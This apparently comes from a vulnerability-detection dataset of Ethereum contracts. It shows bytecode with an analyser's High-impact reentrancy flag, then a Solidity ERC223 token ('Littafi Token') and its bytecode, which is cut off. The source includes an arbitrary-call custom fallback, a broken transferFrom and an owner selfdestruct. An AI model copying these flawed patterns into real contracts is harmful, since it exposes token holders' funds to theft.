65b3480156103d157600080fd5b506101fc6103e0366004611afa565b61085a565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506102bb610416366004611ab2565b60116020526000908152604090205481565b34801561043457600080fd5b506000546001600160a01b031661028c565b34801561045257600080fd5b506101fc610461366004611adf565b610889565b34801561047257600080fd5b506102bb60175481565b34801561048857600080fd5b506101fc610497366004611afa565b6108d1565b3480156104a857600080fd5b506101fc6104b7366004611b13565b610900565b3480156104c857600080fd5b5061025c6104d7366004611a45565b61093e565b3480156104e857600080fd5b5061025c6104f7366004611ab2565b60106020526000908152604090205460ff1681565b34801561051857600080fd5b506101fc61094b565b34801561052d57600080fd5b506101fc61053c366004611b45565b61099f565b34801561054d57600080fd5b506102bb61055c366004611bc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059357600080fd5b506101fc6105a2366004611afa565b610a40565b3480156105b357600080fd5b506101fc6105c2366004611ab2565b610a6f565b6000546001600160a01b031633146105fa5760405162461bcd60e51b81526004016105f190611c02565b60405180910390fd5b60005b81518110156106625760016010600084848151811061061e5761061e611c37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065a81611c63565b9150506105fd565b5050565b6000610673338484610b59565b5060015b92915050565b600061068a848484610c7d565b6106dc84336106d785604051806060016040528060288152602001611d7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b9565b610b59565b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ae57506013546001600160a01b0316336001600160a01b0316145b6107b757600080fd5b476107c1816111f3565b50565b6001600160a01b0381166000908152600260205260408120546106779061122d565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016105f190611c02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016105f190611c02565b601655565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016105f190611c02565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fb5760405162461bcd60e51b81526004016105f190611c02565b601855565b6000546001600160a01b0316331461092a5760405162461bcd60e51b81526004016105f190611c02565b600893909355600a91909155600955600b55565b6000610673338484610c7d565b6012546001600160a01b0316336001600160a01b0316148061098057506013546001600160a01b0316336001600160a01b0316145b61098957600080fd5b6000610994306107c4565b90506107c1816112b1565b6000546001600160a01b031633146109c95760405162461bcd60e51b81526004016105f190611c02565b60005b82811015610a3a5781600560008686858181106109eb576109eb611c37565b9050602002016020810190610a009190611ab2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3281611c63565b9150506109cc565b50505050565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016105f190611c02565b601755565b6000546001600160a01b03163314610a995760405162461bcd60e51b81526004016105f190611c02565b6001600160a01b038116610afe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f1565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f1565b6001600160a01b038216610d435760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f1565b60008111610da55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f1565b6000546001600160a01b03848116911614801590610dd157506000546001600160a01b03838116911614155b156110b257601554600160a01b900460ff16610e6a576000546001600160a01b03848116911614610e6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f1565b601654811115610ebc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f1565b6001600160a01b03831660009081526010602052604090205460ff16158015610efe57506001600160a01b03821660009081526010602052604090205460ff16155b610f565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f1565b6015546001600160a01b03838116911614610fdb5760175481610f78846107c4565b610f829190611c7e565b10610fdb5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f1565b6000610fe6306107c4565b601854601654919250821015908210610fff5760165491505b8080156110165750601554600160a81b900460ff16155b801561103057506015546001600160a01b03868116911614155b80156110455750601554600160b01b900460ff165b801561106a57506001600160a01b03851660009081526005602052604090205460ff16155b801561108f57506001600160a01b03841660009081526005602052604090205460ff16155b156110af5761109d826112b1565b4780156110ad576110ad476111f3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f457506001600160a01b03831660009081526005602052604090205460ff165b8061112657506015546001600160a01b0385811691161480159061112657506015546001600160a01b03848116911614155b15611133575060006111ad565b6015546001600160a01b03858116911614801561115e57506014546001600160a01b03848116911614155b1561117057600854600c55600954600d555b6015546001600160a01b03848116911614801561119b57506014546001600160a01b03858116911614155b156111ad57600a54600c55600b54600d555b610a3a8484848461143a565b600081848411156111dd5760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611c96565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610662573d6000803e3d6000fd5b60006006548211156112945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f1565b600061129e611468565b90506112aa838261148b565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f9576112f9611c37565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134d57600080fd5b505afa158015611361573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113859190611cad565b8160018151811061139857611398611c37565b6001600160a01b0392831660209182029290920101526014546113be9130911684610b59565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f7908590600090869030904290600401611cca565b600060405180830381600087803b15801561141157600080fd5b505af1158015611425573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611447576114476114cd565b6114528484846114fb565b80610a3a57610a3a600e54600c55600f54600d55565b60008060006114756115f2565b9092509050611484828261148b565b9250505090565b60006112aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611632565b600c541580156114dd5750600d54155b156114e457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150d87611660565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153f90876116bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156e90866116ff565b6001600160a01b0389166000908152600260205260409020556115908161175e565b61159a84836117a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115df91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160d828261148b565b82101561162957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116535760405162461bcd60e51b81526004016105f191906119f0565b5060006111ea8486611d3b565b600080600080600080600080600061167d8a600c54600d546117cc565b925092509250600061168d611468565b905060008060006116a08e878787611821565b919e509c509a509598509396509194505050505091939550919395565b60006112aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b9565b60008061170c8385611c7e565b9050838110156112aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f1565b6000611768611468565b905060006117768383611871565b3060009081526002602052604090205490915061179390826116ff565b30600090815260026020526040902055505050565b6006546117b590836116bd565b6006556007546117c590826116ff565b6007555050565b60008080806117e660646117e08989611871565b9061148b565b905060006117f960646117e08a89611871565b905060006118118261180b8b866116bd565b906116bd565b9992985090965090945050505050565b60008080806118308886611871565b9050600061183e8887611871565b9050600061184c8888611871565b9050600061185e8261180b86866116bd565b939b939a50919850919650505050505050565b60008261188057506000610677565b600061188c8385611d5d565b9050826118998583611d3b565b146112aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f1565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fd5b803561192681611906565b919050565b6000602080838503121561193e57600080fd5b823567ffffffffffffffff8082111561195657600080fd5b818501915085601f83011261196a57600080fd5b81358181111561197c5761197c6118f0565b8060051b604051601f19603f830116810181811085821117156119a1576119a16118f0565b6040529182528482019250838101850191888311156119bf57600080fd5b938501935b828510156119e4576119d58561191b565b845293850193928501926119c4565b98975050505050505050565b600060208083528351808285015260005b81811015611a1d57858101830151858201604001528201611a01565b81811115611a2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5857600080fd5b8235611a6381611906565b946020939093013593505050565b600080600060608486031215611a8657600080fd5b8335611a9181611906565b92506020840135611aa181611906565b929592945050506040919091013590565b600060208284031215611ac457600080fd5b81356112aa81611906565b8035801515811461192657600080fd5b600060208284031215611af157600080fd5b6112aa82611acf565b600060208284031215611b0c57600080fd5b5035919050565b60008060008060808587031215611b2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5a57600080fd5b833567ffffffffffffffff80821115611b7257600080fd5b818601915086601f830112611b8657600080fd5b813581811115611b9557600080fd5b8760208260051b8501011115611baa57600080fd5b602092830195509350611bc09186019050611acf565b90509250925092565b60008060408385031215611bdc57600080fd5b8235611be781611906565b91506020830135611bf781611906565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7757611c77611c4d565b5060010190565b60008219821115611c9157611c91611c4d565b500190565b600082821015611ca857611ca8611c4d565b500390565b600060208284031215611cbf57600080fd5b81516112aa81611906565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1a5784516001600160a01b031683529383019391830191600101611cf5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7757611d77611c4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c937f603797f7c87eaddc2032ed84ae04e626f1476215a65d487095d118dfcd264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 993 |
0x7613b207ef1cd3ca38adb0c539e5aa56caf4254b | pragma solidity ^0.4.23;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint256 a, uint256 b) public pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert( c / a == b);
return c;
}
function div(uint256 a, uint256 b) public pure returns (uint256) {
//assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
//assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) public pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) public pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) public pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) public pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) external pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) external pure returns (uint256) {
return a < b ? a : b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public{
newOwner = _newOwner;
}
function acceptOnwership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner,newOwner);
owner=newOwner;
newOwner=address(0);
}
}
contract ContractReceiver { function tokenFallback(address _from,uint _value,bytes _data) external;}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC223 is Owned{
//Use safemath library to check overflows and underflows
using SafeMath for uint256;
// Public variables of the token
string public name="Littafi Token";
string public symbol="LITT";
uint8 public decimals = 18;// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply=1000000000; //1,000,000,000 tokens
address[] public littHolders;
uint256 public buyRate=10000;
bool public saleIsOn=true;
//Admin structure
struct Admin{
bool isAdmin;
address beAdmin;
}
//Contract mutation access modifier
modifier onlyAdmin{
require(msg.sender == owner || admins[msg.sender].isAdmin);
_;
}
//Create an array of admins
mapping(address => Admin) admins;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event FrozenFunds(address target, bool frozen);
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
//This notifies clients about an approval request for transferFrom()
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
//Notifies contract owner about a successfult terminated/destroyed contract
event LogContractDestroyed(address indexed contractAddress, bytes30 _extraData);
//Notifies clients about token sale
event LogTokenSale(address indexed _client, uint256 _amountTransacted);
//Notifies clients of newly set buy/sell prices
event LogNewPrices(address indexed _admin, uint256 _buyRate);
//Notifies of newly minted tokensevent
event LogMintedTokens(address indexed _this, uint256 _amount);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
totalSupply = totalSupply*10**uint256(decimals); // Update total supply with the decimal amount
balanceOf[this]=totalSupply;
Owned(msg.sender);
}
function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(!frozenAccount[msg.sender] && !frozenAccount[_to]);
if(isContract(_to)) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint256 _value, bytes _data)public returns (bool success) {
require(!frozenAccount[msg.sender] && !frozenAccount[_to]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint256 _value)public returns (bool success) {
require(!frozenAccount[msg.sender] && !frozenAccount[_to]);
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) public view returns (bool) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] > _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] > _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToOwner(uint256 _amount) public onlyOwner(){
require(balanceOf[this] > convert(_amount));
uint256 amount=convert(_amount);
balanceOf[this]=balanceOf[this].sub(amount);
balanceOf[owner]=balanceOf[owner].add(amount);
emit Transfer(this,owner,amount);
}
/**
* Conversion
*
* @param _value convert to proper value for math operations
*///0x44b6782dde9118baafe20a39098b1b46589cd378
function convert(uint256 _value) internal view returns (uint256) {
return _value*10**uint256(decimals);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public onlyOwner {
require(balanceOf[this] >= convert(_value));
uint256 value=convert(_value);
// Check if the contract has enough
balanceOf[this]=balanceOf[this].sub(value); // Subtract from the contract
totalSupply=totalSupply.sub(value); // Updates totalSupply
emit Burn(this, value);
}
function freezeAccount(address target, bool freeze) public onlyAdmin {
require(target != owner);
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function mintToken(uint256 mintedAmount) public onlyOwner {
uint256 mint=convert(mintedAmount);
balanceOf[this] =balanceOf[this].add(mint);
totalSupply =totalSupply.add(mint);
emit LogMintedTokens(this, mint);
}
function setPrices(uint256 newBuyRate) public onlyAdmin{
buyRate = newBuyRate;
emit LogNewPrices(msg.sender,buyRate);
}
function buy() payable public {
require(msg.value > 0);
require(msg.sender != owner && saleIsOn == true);
uint256 amount=msg.value.mul(buyRate);
uint256 percentile=amount.add(getEthRate(msg.value).mul(amount).div(100));
balanceOf[msg.sender]=balanceOf[msg.sender].add(percentile); // calculates the amount and makes the transaction
balanceOf[this]=balanceOf[this].sub(percentile);
littHolders.push(msg.sender);
owner.transfer(msg.value);
emit LogTokenSale(msg.sender,percentile);
}
function () public payable {
buy();
}
function destroyContract() public onlyOwner {
selfdestruct(owner);
transferOwnership(0x0);
emit LogContractDestroyed(this, "Contract has been destroyed");
}
function getEthRate(uint256 _value) private pure returns(uint256){
require(_value > 0 );
if(_value < 3 ether)
return 10;
if(_value >= 3 ether && _value < 5 ether )
return 20;
if(_value >= 5 ether && _value < 24 ether )
return 30;
if(_value >= 24 ether )
return 40;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] =allowance[_from][msg.sender].sub(_value);
transfer(_to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender,_spender,_value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function setName(string _name) public onlyOwner() returns (bool success) {
name=_name;
return true;
}
function setSaleStatus(bool _bool) public onlyOwner() returns (bool success){
saleIsOn=_bool;
return true;
}
} | 0x6080604052600436106101665763ffffffff60e060020a60003504166306fdde038114610170578063092a5cce146101fa578063095ea7b31461020f578063162790551461024757806318160ddd1461026857806323b872dd1461028f57806327c320cb146102b9578063313ce567146102ed57806342966c68146103185780634b4f90ef14610330578063640241b81461034557806370a082311461035a57806387c1ed121461037b5780638da5cb5b1461039357806395d89b41146103a8578063a3201daa146103bd578063a6f2ae3a14610166578063a9059cbb146103d5578063b414d4b6146103f9578063be45fd621461041a578063c47f002714610483578063c634d032146104dc578063cae9ca51146104f4578063d4ee1d901461055d578063d897833e14610572578063dd62ed3e1461058c578063e724529c146105b3578063f2fde38b146105d9578063f6368f8a146105fa578063fc37987b146106a1575b61016e6106b6565b005b34801561017c57600080fd5b50610185610b85565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bf5781810151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020657600080fd5b5061016e610c10565b34801561021b57600080fd5b50610233600160a060020a0360043516602435610c39565b604080519115158252519081900360200190f35b34801561025357600080fd5b50610233600160a060020a0360043516610ca3565b34801561027457600080fd5b5061027d610cab565b60408051918252519081900360200190f35b34801561029b57600080fd5b50610233600160a060020a0360043581169060243516604435610cb1565b3480156102c557600080fd5b506102d1600435610dd2565b60408051600160a060020a039092168252519081900360200190f35b3480156102f957600080fd5b50610302610dfa565b6040805160ff9092168252519081900360200190f35b34801561032457600080fd5b5061016e600435610e03565b34801561033c57600080fd5b50610233610fe5565b34801561035157600080fd5b5061016e610fee565b34801561036657600080fd5b5061027d600160a060020a036004351661107a565b34801561038757600080fd5b5061016e60043561108c565b34801561039f57600080fd5b506102d161127d565b3480156103b457600080fd5b5061018561128c565b3480156103c957600080fd5b5061016e6004356112e7565b3480156103e157600080fd5b50610233600160a060020a036004351660243561136e565b34801561040557600080fd5b50610233600160a060020a03600435166113f0565b34801561042657600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610233948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506114059650505050505050565b34801561048f57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261023394369492936024939284019190819084018382808284375094975061147d9650505050505050565b3480156104e857600080fd5b5061016e6004356114b7565b34801561050057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610233948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061166c9650505050505050565b34801561056957600080fd5b506102d161178a565b34801561057e57600080fd5b506102336004351515611799565b34801561059857600080fd5b5061027d600160a060020a03600435811690602435166117cc565b3480156105bf57600080fd5b5061016e600160a060020a036004351660243515156117e9565b3480156105e557600080fd5b5061016e600160a060020a03600435166118a8565b34801561060657600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610233948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506118f29650505050505050565b3480156106ad57600080fd5b5061027d611cd8565b6000803481106106c557600080fd5b60005433600160a060020a039081169116148015906106eb575060085460ff1615156001145b15156106f657600080fd5b600754604080517fc8a4ac9c000000000000000000000000000000000000000000000000000000008152346004820152602481019290925251739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9163c8a4ac9c916044808301926020929190829003018186803b15801561076a57600080fd5b505af415801561077e573d6000803e3d6000fd5b505050506040513d602081101561079457600080fd5b50519150739d9f7f857d77f6cf59905b139c6992a3abfd8d9e63771602f7836107bc34611cde565b739d9f7f857d77f6cf59905b139c6992a3abfd8d9e63c8a4ac9c9091876040518363ffffffff1660e060020a028152600401808381526020018281526020019250505060206040518083038186803b15801561081757600080fd5b505af415801561082b573d6000803e3d6000fd5b505050506040513d602081101561084157600080fd5b5051604080517fa391c15b00000000000000000000000000000000000000000000000000000000815260048101929092526064602483015251739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9163a391c15b916044808301926020929190829003018186803b1580156108b557600080fd5b505af41580156108c9573d6000803e3d6000fd5b505050506040513d60208110156108df57600080fd5b50516040805160e060020a63ffffffff861602815260048101939093526024830191909152516044808301926020929190829003018186803b15801561092457600080fd5b505af4158015610938573d6000803e3d6000fd5b505050506040513d602081101561094e57600080fd5b5051600160a060020a0333166000908152600a602090815260409182902054825160e060020a63771602f70281526004810191909152602481018490529151929350739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f7926044808201939291829003018186803b1580156109c857600080fd5b505af41580156109dc573d6000803e3d6000fd5b505050506040513d60208110156109f257600080fd5b5051600160a060020a033381166000908152600a602090815260408083209490945530909216815282902054825160e060020a63b67d77c50281526004810191909152602481018490529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808301939192829003018186803b158015610a7657600080fd5b505af4158015610a8a573d6000803e3d6000fd5b505050506040513d6020811015610aa057600080fd5b5051600160a060020a033081166000908152600a602052604080822093909355600680546001810182559082527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f01805433841673ffffffffffffffffffffffffffffffffffffffff199091161790558054925192909116913480156108fc0292909190818181858888f19350505050158015610b41573d6000803e3d6000fd5b50604080518281529051600160a060020a033316917f06d09beb6d89839e9ae2215e24d1ae1ab2ba727a1e9e24f49a52f8fa61bf37c8919081900360200190a25050565b6002805460408051602060018416156101000260001901909316849004601f81018490048402820184019092528181529291830182828015610c085780601f10610bdd57610100808354040283529160200191610c08565b820191906000526020600020905b815481529060010190602001808311610beb57829003601f168201915b505050505081565b60005433600160a060020a03908116911614610c2b57600080fd5b600054600160a060020a0316ff5b600160a060020a033381166000818152600b6020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6000903b1190565b60055481565b600160a060020a038084166000908152600b6020908152604080832033909416835292905290812054821115610ce657600080fd5b600160a060020a038085166000908152600b602090815260408083203390941683529281529082902054825160e060020a63b67d77c50281526004810191909152602481018590529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808301939192829003018186803b158015610d6857600080fd5b505af4158015610d7c573d6000803e3d6000fd5b505050506040513d6020811015610d9257600080fd5b5051600160a060020a038086166000908152600b602090815260408083203390941683529290522055610dc5838361136e565b50600190505b9392505050565b6006805482908110610de057fe5b600091825260209091200154600160a060020a0316905081565b60045460ff1681565b6000805433600160a060020a03908116911614610e1f57600080fd5b610e2882611d75565b600160a060020a0330166000908152600a60205260409020541015610e4c57600080fd5b610e5582611d75565b600160a060020a0330166000908152600a602090815260409182902054825160e060020a63b67d77c50281526004810191909152602481018490529151929350739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808201939291829003018186803b158015610ecd57600080fd5b505af4158015610ee1573d6000803e3d6000fd5b505050506040513d6020811015610ef757600080fd5b5051600160a060020a0330166000908152600a602090815260409182902092909255600554815160e060020a63b67d77c50281526004810191909152602481018490529051739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c59260448082019391829003018186803b158015610f7357600080fd5b505af4158015610f87573d6000803e3d6000fd5b505050506040513d6020811015610f9d57600080fd5b5051600555604080518281529051600160a060020a033016917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60085460ff1681565b60015433600160a060020a0390811691161461100957600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600a6020526000908152604090205481565b6000805433600160a060020a039081169116146110a857600080fd5b6110b182611d75565b600160a060020a0330166000908152600a6020526040902054116110d457600080fd5b6110dd82611d75565b600160a060020a0330166000908152600a602090815260409182902054825160e060020a63b67d77c50281526004810191909152602481018490529151929350739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263b67d77c5926044808201939291829003018186803b15801561115557600080fd5b505af4158015611169573d6000803e3d6000fd5b505050506040513d602081101561117f57600080fd5b5051600160a060020a033081166000908152600a60209081526040808320949094558154909216815282902054825160e060020a63771602f70281526004810191909152602481018490529151739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f7926044808301939192829003018186803b15801561120457600080fd5b505af4158015611218573d6000803e3d6000fd5b505050506040513d602081101561122e57600080fd5b505160008054600160a060020a039081168252600a6020908152604080842094909455915483518581529351908216933090921692600080516020612403833981519152928290030190a35050565b600054600160a060020a031681565b6003805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610c085780601f10610bdd57610100808354040283529160200191610c08565b60005433600160a060020a039081169116148061131c5750600160a060020a03331660009081526009602052604090205460ff165b151561132757600080fd5b6007819055604080518281529051600160a060020a033316917fcfd43dc152dc500482f98f70df5bd9dceae2d00ae9f554b712385c74ec729319919081900360200190a250565b600160a060020a0333166000908152600c602052604081205460609060ff161580156113b35750600160a060020a0384166000908152600c602052604090205460ff16155b15156113be57600080fd5b6113c784610ca3565b156113de576113d7848483611d82565b91506113e9565b6113d78484836120ec565b5092915050565b600c6020526000908152604090205460ff1681565b600160a060020a0333166000908152600c602052604081205460ff161580156114475750600160a060020a0384166000908152600c602052604090205460ff16155b151561145257600080fd5b61145b84610ca3565b156114725761146b848484611d82565b9050610dcb565b61146b8484846120ec565b6000805433600160a060020a0390811691161461149957600080fd5b81516114ac906002906020850190612367565b50600190505b919050565b6000805433600160a060020a039081169116146114d357600080fd5b6114dc82611d75565b600160a060020a0330166000908152600a602090815260409182902054825160e060020a63771602f70281526004810191909152602481018490529151929350739d9f7f857d77f6cf59905b139c6992a3abfd8d9e9263771602f7926044808201939291829003018186803b15801561155457600080fd5b505af4158015611568573d6000803e3d6000fd5b505050506040513d6020811015611